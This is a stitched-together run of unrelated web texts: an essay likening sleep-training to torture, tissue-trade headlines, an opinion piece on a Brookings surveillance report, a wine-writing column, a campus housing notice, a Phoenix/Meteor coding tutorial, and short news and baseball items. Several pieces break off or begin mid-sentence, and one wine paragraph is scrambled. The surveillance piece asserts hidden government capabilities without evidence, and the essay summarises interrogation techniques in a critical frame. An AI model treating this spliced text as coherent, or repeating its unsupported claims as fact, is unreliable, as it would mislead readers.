If parenting, even responsible parenting, made me feel like a torturer, it wasn’t exactly because I’m melodramatic or overwrought, but because the official torturers now conceive of themselves in the same terms as the parenting manuals. They, too, are technicians of the naked human personality. The “Human Resource Exploitation Manual,” a formerly classified government document used to instruct “anti-communist” Latin American security forces in the bad old 1980s, puts the theory of torture in terms that any reader of Healthy Sleep Habits, Happy Child can easily understand. The aim of torture, here called “questioning,” is “to induce regression in the subject,” i.e., to shatter that person’s identity by returning him to a state of infantile dependence on his captors. For this, violence itself is actually deemed inefficient and unnecessary (not to mention risky and unpopular once the news gets out). For some of us, the scandal of Abu Ghraib and the sadomasochistic sexual tortures of Guantanamo Bay (fake menstrual blood, simulated sex, et cetera) is less about our horror at torture than the broken taboos, the lack of restraint on display, in comparison to the refined techniques once taught in the School of the Americas.
Far more effective, the torture theorists say, is to shatter the routines that make us adults without physical violence. Sleep deprivation becomes the favored tactic, accompanied by such macabre tricks as putting clocks forward or back randomly, making sure that the prisoner cannot tell day from night, irregular feeding, temporary starvation, random extremes of temperature, loud music constantly, and, of course, random responses from the captors, either rage or bizarre affection, always absurd and unmotivated. (It’s allowed, for instance, to reward uncooperative behavior, the better to induce false hopes in the subject.) Beatings might play an occasional role in hastening regression, but please don’t get carried away. In short the torturer becomes the bad parent, whose job it is to destroy the entire work of childhood in a matter of days and weeks. Obtaining information is but a side effect of the paramount project: turning adults into unhappy children.
A notion shared by the popular psychologists of torture and infants: The core self is a paltry thing, composed mainly of certain habits and persistent associations. Just as this self can only be constructed through cycles and worksheet-plotted routinization, so it can be destroyed by deroutinization. At least since the Scottish Enlightenment, people have recognized that habits and chains of association make up a strong part of individual identity, but it would be a twisted view of humans that made our habits both the necessary and sufficient condition of our individual life. People survive torture. Personalities even survive torture, their individuality racked and maimed, like their bodies, but still legible. Winston Smith, by the tables of the “Chestnut Tree,” is a creature haunted by an ungraspable sense of shame and guilt at his self-betrayal as much as he is the model reformed citizen of Airstrip One. Torture isn’t immoral because the individual fails to survive, but precisely because the individual does survive in a region of the mind no longer accessible to the person.
The parallels between parenting and torture, unwittingly created by behavioral psychologists in both camps, suddenly intersect and cross over. We rebel at leaving our child to cry because something about it violates our humanity. We may want our child to get a head start on competition in the global economy or, quite simply, to fall asleep so we can catch up on sleep ourselves, but there is more to parents and children than the establishment of safe routines. Our children may develop healthy sleep habits and we too will be able to get up for work again without ten cups of coffee, but the desires of children and their parents for love—not information—will always exceed the circumscribed hours of wakefulness and the model of efficiency.
When we put our children to sleep, even with the best intentions, we begin to instruct them in a fine art of self-limitation we practice on ourselves, an art that’s just a step away from self-mutilation. But would it be so monstrous to let ourselves go completely? When Marcel sneaks downstairs at the beginning of Swann’s Way, he is sent back to bed. When he returns again to beg another goodnight kiss from his mother, he is caught by his father and inexplicably given the very thing he wants and more: his mother gets to sleep with him. “See, we’re not torturers,” his father says.
But for Marcel, this inexplicable pardon, a reverse of Abraham’s sacrifice of Isaac, as he puts it, confirms his exile from a community of healthy, disciplined children—a generation that will be mowed down in the first World War. “My sadness was no longer a punishable offense, but an involuntary illness... for which I was no longer responsible.” Sadness, like memory, is involuntary, and yet the involuntary spasms, those things that cannot be controlled, make Marcel into Marcel and not St. Loup. Another name for his sadness is (unsatisfied) love.
Parents, it seems, inevitably feel like torturers. But do those masters of regression, our new model torturers, feel like parents? If we extend the idea of Stockholm Syndrome (the victim’s feeling of love for his torturer) to the torturers, the answer seems to be yes. But an empirical proof that the feeling goes both ways will have to wait. Defense Department psychologists may be taking notes as they debrief, but the public won’t see these documents anytime soon, and our journalists, elsewhere so eager to extort confessions from child abusers, have not gone in search of retired torturers.
Also, English-speaking torturers may soon be in short supply. Our new favored method of extraordinary rendition brings new meaning to the term “nanny state.” Just as many affluent American parents hire women from poorer countries to look after their children and do much of the dirty work of parenting, so we now send our prisoners of war to states whose torturers cling to old-fashioned “spare the rod, spoil the prisoner” mentalities.
Prisoners and children. We have reached another metaphorical crossroads. Our executive branch and their lockstep followers in Congress would argue that their harsh measures are justified, not only because these people are our enemies, but because they have chosen to sin. They are no longer children but adults with free will. To fight America is to fight God, Democracy, History, and Freedom all at once, and to such sinners belongs outer darkness. “Who could be more impious than one who’d dare to sorrow at the judgment God decrees?” Virgil rebukes Dante as he sheds a tear for the eviscerated, boiled, and forked souls in the Inferno. America the perfect makes no mistakes. But those who accept that George Bush is God’s regent on earth should also accept that this makes W. everybody’s surrogate daddy while he stands in for the big daddy in the sky. The word is paternalism. If America truly has dominion over all men and women and the beasts of the field in a neo-feudal order, all of us are America’s children. Is it all right to torture children? Just ask the President, or rather his wife. Her favorite scene in world literature, she once said, is Dostoevsky’s “Grand Inquisitor” from The Brothers Karamazov. The professional interpreters in our press have been at work on this delicious admission that allows us to construct the twisted history of our ruling family. Who knows if Laura ever talked about Dostoevsky with George? Do our parents talk to each other? What do they say? Did they notice that the scene begins when Ivan Karamazov asks his brother if he would torture a child if it meant ensuring happiness for the rest of the world? We know our President’s answer would be an enthusiastic thumbs up, as long as it’s someone else’s thumb.Skin and Bone Five Charged Over Alleged Body Parts Theft Parts from fifty-six human corpses were improperly fed into the international tissue market from a state-run Ukrainian morgue, according to prosecutors who have filed criminal charges against five of the morgue’s employees.
Skin and Bone Ukraine Morgue Official Charged IMPACT: Ukrainian authorities will press charges against a morgue official who is alleged to have illegally recovered human tissue from a corpse intended for the international market.
Skin and Bone RTI Biologics Suspends Import of Human Tissue from Ukraine One of the biggest players in the global trade in human tissue has suspended its partnership with suppliers in Ukraine, where authorities have carried out multiple investigations over allegations of illegal tissue recovery.
Skin and Bone Pentagon, Congress Probe Tissue Contracts The Pentagon announces a new program to better oversee human cadaver tissue used in Defense Department hospitals, as Congressional investigators look into contracts with RTI Biologics, a Florida-based manufacturer of medical implants made from human bones, skin, ligaments and other tissues, following ICIJ’s investigation.
Skin and Bone WHO Plans Coding System to Track Trade in Human Tissue The World Health Organization plans to create a coding system to track human tissue traded for transplants and ingredients in drugs to secure safety and prevent illegal collection, a source told The Asahi Shimbun.
Part four Abusing the ‘Gift’ of Tissue Donation PART FOUR: In the brave new world of tissue harvesting, the dead’s bones, skin, tendons and heart valves can be cut out and used to create medical devices that can be sold for profit around the world.
Part three Traceability Elusive in Global Trade of Human Parts PART THREE: Poor accountability and inadequate safeguards prompt concerns among medical experts that products made from tissues taken from the dead could spread disease to the living.
Part two Body Brokers Leave Trail of Questions, Corruption PART TWO: Police in Hungary, Ukraine and the U.S. allege that tissue suppliers stole tissue and committed fraud and forgery in the drive to supply the industry with flesh and bone.
Skin and Bone GRAPHIC: Products made from human tissue The business of recycling dead humans into medical implants is a little-known yet lucrative trade. But its practices have roused concerns about…
Skin and Bone Methodology: Behind the Numbers ICIJ used four databases provided by the Food and Drug Administration in its analysis of the tissue banking industry. Those databases include the Human Cell and Tissue Establishment Registration, the Operational and Administrative System for Import Support (OASIS), and data sets on tissue bank inspections and deviations. We also analyzed membership of the American Association of Tissue Banks (AATB).
Skin and Bone Video: Skin and Bone The business of recycling dead humans into medical implants is a little-known yet lucrative trade. But its practices have roused concerns about…
Skin and Bone Los cadáveres humanos son el botín en una búsqueda global de ganancias La industria ha florecido aun cuando sus prácticas han despertado preocupación sobre cómo obtiene los tejidos y qué tan bien informadas están las familias y los pacientes de trasplantes sobre las realidades y riesgos del negocio.One of the many ways in which China is stunningly big is this: it is full of cities that most people outside of China have never heard of, and each of those cities has twice or three times or four times as many people in it as the cities you think are big cities in your non-China countries.
This infographic from Chinfographics.com starts to get at it, listing 60 Chinese cities (including cities in the Republic of China) with populations over 1 million. Nanchang, Jinan, Changzhou—more than 2 million people apiece.
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If anything, the graphic undersells the size of the size of the Chinese cities. The population figures are official numbers, and they apply only to the "urban area," meaning "the lighted area that can be observed from an airplane at night." So New York, rather than getting its usual 8.3 million, is granted a chunk of the East Coast megalopolis that covers 21.3 million people.“Recording Everything” PDF Brandon Turbeville
A recent Brookings Institution report has now confirmed what many have suspected for some time – that the United States government (and virtually every other government in the world) has the capability to monitor and record nearly every interaction that occurs within its national borders.
For years, those individuals who have tried to warn others of the creeping surveillance state were met with denials and catcalls of “conspiracy theory,” as well as the famous claims that it was not physically possible to monitor everyone. This new report, however, shatters the delusional rationalities of the uninformed into a million pieces.
The Brookings Institution report entitled, “ Recording Everything: Digital Storage as an Enabler of Authoritarian Governments” (.pdf) discusses the increasing capacities for surveillance due to the improvement in technology and the sinking costs of its procurement, along with the implications for human rights and authoritarianism that come along with it.
The report begins by stating:
Within the next few years an important threshold will be crossed: For the first time ever, it will become technologically and financially feasible for authoritarian governments to record nearly everything that is said or done within their borders – every phone conversation, electronic message, social media interaction, the movements of nearly every person and vehicle, and video from every street corner. Governments with a history of using all of the tools at their disposal to track and monitor their citizens will undoubtedly make full use of this capability once it becomes available.
Although the study suggests that governments will make use of this technology “once it becomes available,” anyone who has done even cursory research into the technological and intelligence capabilities of major governments is aware that, when technologies are announced to the general public, the actual capabilities of these governments to harness that technology are light years ahead of what is being announced. Indeed, the technology itself is almost always already obsolete before it’s theoretical presentation is even offered up for digestion by the mass population.
It is also interesting to note that John Villasenor, the author of the study, makes continual reference to the “world’s remaining authoritarian regimes,” specifically those of Syria, Iran, Burma, and China, but completely leaves out those of the United States, Australia, Israel, and Great Britain to name a few. This is no doubt an intentional propaganda move. However, the reader should not dismiss reality in the same manner as Villasenor.
Obviously, Villasenor and the Brookings Institution know full well that the United States and virtually the entire Western World has become an authoritarian surveillance society, yet the Western nations are left out of the description due to the fact that the report functions more as a promotion of the technology than a warning. The Brookings report is an introduction flyer to the professorial, foundational, and cultural working class (those individuals who gradually implement the totalitarian system consciously, but often unconsciously as well). In this sense, the report is clearly not a study.
It is for this reason that the report focuses on oppressive governments in the Middle East, Africa, and Asia. But it is also because these nations are to be the next target of direct military action by the Anglo-American empire. The Libyan tragedy is referenced repeatedly in the report, but only in the context of Ghaddafi’s surveillance capabilities within his own country.
Villasenor goes on to say, “The Ghadaffi regime was unusual among dictatorships only in that its internal spying activities were so thoroughly unmasked, not that they were occurring.” This much is true.
However, the reader must turn this reasoning back toward his own country and ask, If a weak Ghaddafi regime was capable of so much surveillance of its own people, and if these types of spying activities are commonplace amongst governments, would it not stand to reason that the United States government, which is light years more advanced than the Libyan one, can and is conducting surveillance against its own citizens as well? Not only that, since the capabilities of the U.S. government are so much more than that of Ghadaffi and Ghadaffi-like regimes, it would also stand to reason that U.S. government surveillance is being conducted at immensely more sophisticated levels. The same goes for any Western nation.
Although Villasenor limits his discussion to the next targets of the Anglo-American empire, his statements are easily transposed to apply to those nations who currently have such capabilities and who have already implemented them under the cover of popular acceptance and “democratic” methods — meaning, simply, the lack of resistance from the general public by virtue of their lack of knowledge or their lack of concern.
Villasenor writes:
... the evolving role of digital storage in facilitating truly pervasive surveillance is widely recognized. Plummeting digital storage costs will soon make it possible for authoritarian regimes to not only monitor known dissidents, but also to store the complete set of digital data associated with everyone within their borders. These enormous databases of captured information will create what amounts to a surveillance time machine, enabling state security services to retroactively eavesdrop on people in the months and years before they were designated as surveillance targets. This will fundamentally change the dynamics of dissent, insurgency, and revolution.
That is, if the information isn’t already available publicly on the “revolutionaries’” Facebook page. Indeed, something similar has already been used in England after the bizarre riots that overtook the country months ago. Facial recognition software was able to identify (or so it was claimed) many of the rioters who were arrested after the riots had subsided.
However, what Villasenor is describing is the ability to build detailed digital dossiers on individuals, full of incriminating evidence gleaned through everyday, normal, social interactions, that can be called on at any minute to build a case against an individual for daring to question the State. All of it, of course, will be there. The angry Facebook post made in a fit of rage against the government; the email to Monsanto that seems “threatening;” or the telephone conversation where one procured an illegal substance for a weekend of fun.
But the question still remains for some, “How would it be possible to monitor and store so much information?”
Villasenor provides some interesting analysis in regards to the declining costs of storage technology and also the increase in the capability of that technology. In terms of cost, he writes:
Over the past three decades, storage |
they zero in on particular regions, wines, or grapes. And paradoxical as it may seem amid this glut of good wines, there’s probably never been a better time to be a hyperdirected oenophile. Not only does the Loire maven or the Champagne buff have more wines to choose from nowadays; niche interests are being catered to journalistically as never before.
Recent years have seen the advent of a number of Web sites and Web-based publications run by writers and critics specializing in individual wine regions—offering views and reviews ofBordeaux, Burgundy, Champagne, the Rhône Valley, the Loire Valley, the Mosel Valley, Australia, New Zealand, South Africa, California, and points in between. Wine writing has traditionally been a generalist’s pursuit, so what accounts for all the self-pigeonholing? It is one part opportunity, one part necessity. Thanks to this global quality revolution, there are more wine-growing areas than ever that merit undivided attention, and the Internet has given wine journalists a cheap and easy platform from which to peddle that kind of particularized knowledge. But because of the Internet, there are also probably more people than ever writing about wine. Anyone with a computer and a corkscrew can be a critic now; offering regional expertise is a way of standing out in an increasingly crowded field.
So who are the regional gurus worth following? Allen Meadows is the best-known and most successful of them, and his reputation for excellence is richly deserved. A California-based former banker, Meadows publishes a quarterly e-newsletter called Burghound, which as the name suggests focuses on the wines of Burgundy. A longtime Burgundy nut, Meadows launched his publication in 2001. His timing was propitious: the region was flourishing as never before, lots of consumers were becoming interested in its wines, and there was a pressing need for comprehensive coverage. Burghound now has around 7,500 subscribers (Meadows charges $125 per year for subscriptions, which includes unlimited access to his 50,000 tasting notes) and is widely recognized as the go-to guide for the wines of Burgundy—the place to not only get the skinny on new releases from the likes of Dujac and Mugnier, but to learn about up-and-coming producers and to receive detailed information on issues of concern to Burgundy aficionados, such as the “premox” mystery. Meadows spends four months of the year in Burgundy, sampling new vintages and revisiting older ones. He just took the specialization a degree further by self-publishing a book about Vosne-Romanée, the most acclaimed of Burgundy’s wine villages. The Pearl of the Côte is a beautifully designed, exhaustively researched tome that underscores why Burgundy is the most maddeningly arcane but ultimately rewarding wine region on the planet. It is truly porno for winos (particularly the last section, a sip-by-sip account of an epic tasting that Meadows attended of the fabled Domaine de la Romanée-Conti—some guys have all the luck).
If you prefer big, lip-smacking Rhône wines to dainty Burgundies, you should acquaint yourself with the work of British writer John Livingstone-Learmonth. For nearly 40 years, Livingstone-Learmonth has made the wines of France’s Rhône Valley the focal point of his journalism. If he is not the progenitor of regional specialization, he’s certainly one of its pioneering figures. For my taste, there is no better or more erudite source for all things Rhône, and many Rhône winemakers seem to agree. Four years ago, Livingstone-Learmonth launched a Web site called drinkrhone. Although most of the content is subscriber-only ($65 a year), the home page includes monthly digests with news from the Rhône and other morsels and reflections, as well as travel tips. His signature achievement is his book The Wines of the Northern Rhône. Published in 2005, it is an amazing reference manual featuring in-depth looks at all the appellations in the northern part of the Rhône (Côte-Rôtie, Hermitage, Cornas, etc) and insightful profiles of scores of individual producers.
In contrast to Meadows and Livingstone-Learmonth, American wine writer Peter Liem resides in the region he’s made his bailiwick, Champagne. A senior correspondent for Wine & Spirits magazine and widely admired for his elegant, cerebral essays, Liem moved to Champagne in 2006 in order to indulge his passion for bubbly and to gain more intimate knowledge of the wines and the people and the vineyards responsible for them. For a time, he had a popular blog titled Besotted Ramblings. Last year, he abandoned it in order to focus on his online, subscription-only site called ChampagneGuide.net ($89 per year), which consists of producer profiles, tasting notes, articles, and a blog. It is a great time to be focusing on Champagne: The grower Champagne movement, with its emphasis on single-vineyard and single-village wines, is redefining what Champagne is about and has turned the region into arguably the most dynamic viticultural zone in the world. Liem sounds cautiously optimistic about his prospects. “There is probably a bigger potential audience for dedicated Champagne coverage now than there was 10 years ago,” he told me via e-mail, “due to a growing number of consumers who are willing to think about Champagne as real wine and not just as an apéritif or party beverage.”
Not all the specialty sites require you to part with cash. Jacqueline Friedrich is a transplanted American who has made France’s Loire Valley her home and her area of concentration. A former New York lawyer, Friedrich moved to France in 1991. Five years later, she published a book called A Wine and Food Guide to the Loire, which became essential reading for anyone with an interest in the “Garden of France,” as the Loire is known. In 2006, she established a free Web site offering inside dope about the Loire. It is a somewhat chaotic site—the Internet equivalent of a ramshackle French farmhouse—but is a great destination for on-the-ground reporting from the Loire, which, like Champagne, is a hive of experimentation and innovation these days.
French wine regions aren’t the only ones getting close-ups. Roy Hersh, who lives in the Seattle area, has long been recognized among wine discussion board types as an authority on port, the famous fortified wine from Portugal’s Douro Valley. Five years ago, he launched his own Web site called For The Love of Port, which in addition to offering a trove of port content includes coverage of Madeira and other Portuguese wines. A pair of Riesling fanatics put out a quarterly online newsletter called Mosel Fine Wines, devoted to the wines of Germany’s Mosel Valley. There are also interesting sites focusing on South African, Australian (not one but two), and New Zealand wines and, closer to home, the wines of New York state and Washington state.
So is all this fragmented information good for the grape nuts? I believe it is. The deeper you immerse yourself in the wine world, the more you appreciate its intricacies. As retail shelves continue to fill up with quality cabernets and syrahs made in places that were hardly on the viticultural map a generation ago, it is only getting more complex. There’s a lot to be said for the “long-tailing” of wine journalism, for the kind of niche coverage that people like Meadows and Livingstone-Learmonth provide. Is there still a place for generalists? Wine Spectator and The Oregonian, Kramer covers the wine world in its entirety with admirable intelligence and brio. But he's also done some excellent regionally-focused work. His 1990 book Making Sense of Burgundy is a classic, and he's also published books about California and Italian wines. He's now out with a new volume called Matt Kramer on Wine, a collection of essays. It's a terrific, thought-provoking book that, among other things, charts the evolution of what has become a very dynamic wine culture in the United States. It also includes an illuminating profile of famed Italian winemaker Angelo Gaja. The story was commissioned in 1991 by Robert Gottlieb, then editor of The New Yorker. By the time Kramer submitted the article, Gottlieb had been replaced by Tina Brown, who promptly spiked it. But Kramer was at least able to console himself with a 100 percent, $15,000 kill fee. Man, those were the days”> Speaking as one, I definitely hope so, and I do think there is value to both perspectives—the tight shot and the wide view. Whether smitten with one region or more inclined to spread the love around, serious oenophiles should always strive to be broadly conversant in all things vinous. Wine geekery requires nothing less.
Like Slate on Facebook. Follow us on Twitter.As part of a long-term effort to strengthen the College housing experience for all undergraduate students, the University of Chicago has announced that Blackstone, Breckinridge, Broadview and Maclean residence halls will no longer house College students after June 2016.
The change will coincide with the opening in fall 2016 of Campus North Residence Hall and Dining Commons, which was designed by the renowned Chicago firm Studio Gang and will house roughly 800 undergraduates. The transition is in keeping with the University’s goal to house more College students on the central campus and to strengthen the Resident Master model, which fosters meaningful interactions between students and senior faculty members outside the classroom.
Dean of the College John W. Boyer and Karen Warren Coleman, Vice President for Campus Life and Student Services, notified affected students in an email on April 20.
“This is an exciting time for College Housing,” they wrote, noting that the change will “expand and strengthen the residential experience for current and future students.”
A primary reason for the change is that the four affected residence halls cannot accommodate Resident Masters. In the Resident Masters tradition, which began in the early 1970s and has become a model for other colleges, senior faculty members reside among students, reinforcing the College’s intellectual values and building community. The move to Campus North ensures that many more students will experience this signature aspect of College residential life.
This transition also is in keeping with the University’s long-term strategy for College Housing, which includes strengthening the Resident Master model and housing more College students closer to campus.
The University will create eight new residential houses within Campus North. Students from the affected residence halls will have the opportunity to move to Campus North as a community. Six house names in the affected residence halls will be retired in spring 2016 along with three house names from the New Graduate Residence Hall, also known as New Grad. The University previously announced an adaptive reuse project for that building, which will be named the Keller Center as the new home of the Harris School of Public Policy.
Because the buildings will continue to operate as residence halls through the 2015-16 academic year, this announcement will not have an impact on the upcoming College Housing lottery.
Students who have questions or concerns about these changes may refer to the FAQs found on the College Housing website.If you follow me on Twitter, it’s probably not surprise that I’ve been interested in Elixir and the Phoenix Framework for quite a while now. Coming from a Node.js and Meteor background, the promises of out-of-the-box reliability and scalability are incredibly attractive.
To get my feet wet, I decided to use Phoenix to build out a back-end for a simple Meteor example app.
Let’s put on our mad scientist hats and build a “Franken-stack”. We’ll be tearing the front-end out of an existing Meteor application, dropping it into a new Phoenix application, rewriting a Blaze template to use Phoenix Channels instead of DDP, and then writing a simple replacement back-end in Elixir.
Let’s get started!
Building Leaderboard
The Meteor example application we’ll be using is Leaderboard. It’s a very simple application that updates a single collection over DDP. The lack of moving parts makes it an ideal candidate for this kind of experimentation.
Let’s clone Leaderboard onto our machine and run it:
git clone https://github.com/meteor/leaderboard ~/leaderboard cd ~/leaderboard meteor
Fantastic! Meteor has built our Leaderboard application an moved the final build bundle into ~/leaderboard/.meteor/local/build. We’ll work more with that later.
Creating Phoenix Leaderboard
Now we need to create our new Phoenix project. Unsurprisingly, we’ll be calling this new app “Phoenix Leaderboard”. Let’s use Mix to create our application:
cd ~ mix phoenix.new phoenix_leaderboard cd ~/phoenix_leaderboard mix ecto.create
I’ll assume that you have a very basic understanding of a Phoenix project’s structure. If you don’t, check out the official guides for a quick introduction.
Now that we have our Phoenix project, we can start up our Phoenix server:
mix phoenix.server
Navigating to http://localhost:4000 should bring you to a “Welcome to Phoenix!” page.
Front-end Transplant
Now that we’ve laid our groundwork, we can move onto the more interesting bits of this experiment. Let’s get to work transplanting our Meteor front-end into our newly created Phoenix application.
Within our ~/leaderboard/.meteor/local/build/programs folder, our Meteor application’s font-end and back-end components are separated into the web.browser and server folders respectively.
Transplanting the front-end is really just a matter of copying over all of the required files within web.browser into our Phoenix application.
From web.browser, we’ll need the merged-stylesheets.css file, the entire app folder, and the entire packages folder. Let’s copy all of these into ~/phoenix_leaderboard/priv/static :
cp merged-stylesheets.css ~/phoenix_leaderboard/priv/static/ cp -r app ~/phoenix_leaderboard/priv/static/ cp -r packages ~/phoenix_leaderboard/priv/static/
Now we need to tell our Phoenix server that these files can be served as static assets. Let’s open up our lib/phoenix_leaderboard/endpoint.ex file and add them to our Plug.Static plug:
plug Plug.Static, at: "/", from: :phoenix_leaderboard, gzip: false, only: ~w(app packages merged-stylesheets.css css js)
The last step of this transplant is to copy over the final HTML generated by our Meteor application. Head over to view-source:http://localhost:4000/ and copy the contents of this page into web/templates/layout/app.html.eex, replacing whatever’s already there.
That’s it!
After restarting our Phoenix server and navigating to http://localhost:4000/, we should see the (playerless) Leaderboard application!
Leveraging Brunch
Now that we’ve successfully transplanted out Meteor front-end into our Phoenix application, our next step is to wire it up to our server and start passing data.
To do this, we’re going to make some minor changes to the leaderboard Blaze template.
We’re going to be writing ES6 in this project, so we’ll want this transpiled into standard ES5-style Javascript. We can use Brunch, Phoenix’s default asset pipeline, to do this for us.
To leverage Brunch, I’m going to move the contents of priv/static/app/leaderboard.js into web/static/js/app.js, overwriting the current contents of app.js. Brunch watches web/static/js/* for changes and runs them through Babel, UglifyJS, etc… before moving it to priv/static/js/app.js.
Next, I’ll remove the self-executing function wrapper around the Blaze Template code, and import Phoenix’s socket module. Our new app.js should look something like this:
import socket from "./socket"; const Players = new Mongo.Collection("players"); Template.leaderboard.helpers({...
Now we’ll change our app.html.eex file to pull in /js/app.js instead of /app/template.js :
<script src='<%= static_path(@conn, "/js/app.js") %>'></script>
Now that we’ve made these changes, we should still be able to load our new Leaderboard application without any problems.
Connecting to Channels
Now that we can freely change our leaderboard template, let’s remove our dependence on DDP and fetch player data from a Phoenix Channel instead.
Our plan of attack is to subscribe to a Channel when the leaderboard template is created and upsert any published players into our client-side Players Minimongo collection. By leveraging Minimongo, we won’t have to make any changes to our existing Meteor-style template functionality.
Let’s add an onCreated handler to our leaderboard Blaze template:
Template.leaderboard.onCreated(function() { this.channel = socket.channel("players"); this.channel.join().receive("ok", players => { players.map(player => Players.upsert(player.id, player)); }).receive("error", e => console.log("Unable to join", e)); });
We’re opening a connection to a "players" Channel, and on successfully joining, we’re upserting all of the players we receive from the server into our local Players collection.
To make this work, we need to add a "players" Channel on our server.
By default, Phoenix creates a socket handler for us called PhoenixLeaderboard.UserSocket ( web/channels/user_socket.ex ). Here, we can define our "players" channel and assign it a controller module, PhoenixLeaderboard.PlayersChannel :
channel "players", PhoenixLeaderboard.PlayersChannel
Now let’s add a simple join handler to our new PhoenixLeaderboard.PlayersChannel ( web/channels/players_channel.ex ):
defmodule PhoenixLeaderboard.PlayersChannel do use Phoenix.Channel def join("players", _message, socket) do {:ok, [ %{ id: 1, name: "Ada Lovelace", score: 5 }, %{ id: 2, name: "Grace Hopper", score: 10 }, %{ id: 3, name: "Marie Curie", score: 15 }, %{ id: 4, name: "Carl Friedrich Gauss", score: 20 }, %{ id: 5, name: "Nikola Tesla", score: 25 }, %{ id: 6, name: "Claude Shannon", score: 30 } ], socket} end end
Every time a client joins the "players" channel, we’ll send them a list of players in our reply.
If we go back to our application, we’ll see that all of our players are correctly pulled from the server and rendered in order of their score!
What’s Next and Final Thoughts
In good conscience, we should reiterate that this is just an experiment. We don’t recommend tearing a Meteor application in half and dropping its front-end into another application.
That being said, the fact that this is possible is really interesting!
It’s amazing that after dropping the Meteor front-end into our Phoenix application, we can still use all of the features of Blaze templates, Minimongo, and Session variables right out of the box!
In our next post, we’ll finish up our Franken-stack by wiring our Phoenix server up to a real database and using Channel events to implement the “Add Points” functionality.
Stay tuned!Someone went to extreme lengths for a nightcap on the weekend.
Whereas most people would reach for the fridge or belly up to the bar for last call, a thirsty individual in Coniston drove his pickup into The Beer Store.
Shortly before 2 a.m. on Saturday, the man rammed his vehicle into the building and grabbed "a few cases of beer," say police, then fled the scene in his presumably dented (or scratched, at least) ride.
Police are asking for the public’s assistance in locating the suspect, who is described as 6-feet, wearing a dark winter coat with a reflective stripe across the middle, light-coloured jeans and dark winter boots.
The truck is a dark-coloured, small pickup with a white high-rise cab. Police say it "may have fresh damage to it."
Damage to the Beer Store is estimated at $10,000.Back in 2005, when Texas was on its way to a BCS National Championship win, and Baylor was 2-6 in Big 12 play, the notion that the Longhorns would ever openly admit to being outclassed by the Bears on paper probably seemed silly. Well, not even a decade later, that is where the college football world has gone. Charlie Strong had a press conference this afternoon, and admitted that beating the Bears would be a huge undertaking for his Longhorns.
“It’s almost like watching a video game.” – Strong, on Baylor’s offense #HookEm — Justin Wells (@justinwells2424) September 29, 2014
Strong on Baylor game: “We’re going to have to play above our heads.” — Mike Finger (@mikefinger) September 29, 2014
Strong on Baylor matchup: “We can’t get into a track meet with Baylor. We know that. We can’t generate the points.” — Chuck Carlton (@ChuckCarltonDMN) September 29, 2014
From 1993 to 2009, Baylor won just one game against Texas. Now, the Bears have defeated the Longhorns in three of the last four seasons, with two of the wins coming by at least 20 points. The emergence of Art Briles’ program is just one of the major hurdles that Charlie Strong faces as he looks to rebuild the Longhorns. An upset would go a long way towards helping those efforts, but we wouldn’t bet on it happening this season. From the sound of things, neither would Strong.Indianapolis Clowns
( c. 1930s -1962)
Indianapolis, Indiana Team logo League affiliation(s) Independent (c. 1930s–1942)
Negro American League (1943–1955)
Independent (1956–1962) Name(s) Miami Giants (c. 1930s)
(c. 1930s) Ethiopian Clowns (c. 1930s–1942)
(c. 1930s–1942) Cincinnati Clowns (1943)
(1943) Indianapolis–Cincinnati Clowns (1944)
(1944) Cincinnati Clowns (1945)
(1945) Indianapolis Clowns (1946–1962)
The Indianapolis Clowns were a professional baseball team in the Negro American League. Tracing their origins back to the 1930s, the Clowns were the last of the Negro League teams to disband, continuing to play exhibition games into the 1980s. They began play as the independent Ethiopian Clowns, joined the Negro American League as the Cincinnati Clowns and, after a couple of years, relocated to Indianapolis. Hank Aaron was a Clown for a short period, and the Clowns were also one of the first professional baseball teams to hire a female player.
History [ edit ]
Founding [ edit ]
Before becoming the Ethiopian Clowns, there is evidence indicating that the team was formed in Miami, Florida, in 1935 or 1936 by Hunter Campbell and bootlegger Johnny Pierce,[1] and was known as the Miami Giants. Soon enough the team became an independent barnstorming club, changing its name to the Ethiopian Clowns. Syd Pollock was instrumental in promoting and popularizing the Clowns and developed them into a nationally-known combination of show business and baseball that earned them the designation as the Harlem Globetrotters of baseball.[citation needed]
In 1943, the team was relocated to Cincinnati, where they became the Cincinnati Clowns. That same year they joined the Negro American League, beginning a 12-year membership in the circuit before withdrawing following the 1954 season. The team operated between Cincinnati and Indianapolis in 1944 and 1945 before officially moving to Indianapolis in 1946, playing as the Indianapolis Clowns for the rest of their existence.
The team won the league championship in 1950.
Barnstorming [ edit ]
While still fielding a legitimate team, the Clowns also toured with several members known for comic acts — sort of a baseball version of the Harlem Globetrotters, including Joe "Prince" Henry. As the Negro Leagues declined in the late 1940s after the integration of Major League Baseball, the Clowns continued operations on barnstorming tours into the 1960s.
By 1966 the Indianapolis Clowns were the last Negro league team still playing. The Clowns continued to play exhibition games into the 1980s, but as a humorous sideshow rather than a competitive sport. After many years of operation as a barnstorming team, the Clowns finally disbanded in 1989.[2]
Hank Aaron and other notable Clowns [ edit ]
By 1952, Syd Pollock signed Hank Aaron to his first professional contract, at $200 a month. Aaron played about three months as the Clowns' shortstop and cleanup hitter before being sold for $10,000 to the Boston Braves organization.
The Clowns fielded such stars as Buster Haywood, DeWitt "Woody" Smallwood, showman "Goose" Tatum and Harlem Globetrotter star, and future Major Leaguers John Wyatt (Kansas City Athletics), Paul Casanova (Washington Senators), Hal King (Atlanta Braves) and Choo-Choo Coleman (New York Mets).
Female players [ edit ]
The Clowns were the first professional baseball team to hire a female player to a long-term contract that was not voided soon after. Toni Stone played second base with the team in 1953, in which she batted.243.[3] The following year the Clowns sold her contract to the Kansas City Monarchs. They hired two women replacements: Mamie "Peanut" Johnson, pitcher, and Connie Morgan, second base. Women also served as umpires for the team.
Cinematic legacy [ edit ]
The 1976 movie The Bingo Long Traveling All-Stars & Motor Kings, starring James Earl Jones, Billy Dee Williams, and Richard Pryor, is loosely based on the barnstorming of the Indianapolis Clowns.
References [ edit ]
Sources [ edit ]
The Biographical Encyclopedia of the Negro Baseball Leagues – James A. Riley. Publisher: Chelsea House, 1996. Format: Paperback, 124pp. Language: English. ISBN 0-7910-2592-6
Further reading [ edit ]New Westminster – The New Westminster Police Department is seeking the public’s assistance in locating 55 year old Surrey resident George Hrehorsky. Mr. Hrehorsky was last seen on March 17th 2017 in the 300 block of East Columbia Street in New Westminster.
Mr. Hrehorsky is described as a 6’2” Caucasian male weighing approximately 300lbs, with long brown hair and a goatee. He also has several tattoos on both his arms.
“Mr. Hrehorsky requires daily medication for a medical condition, and we need to locate him to ensure his well-being,” stated Media Relations Officer acting Sergeant Jeff Scott. “We have been working with partnering agencies and other police departments in our attempt to locate him, and we’re asking for the public’s assistance.”
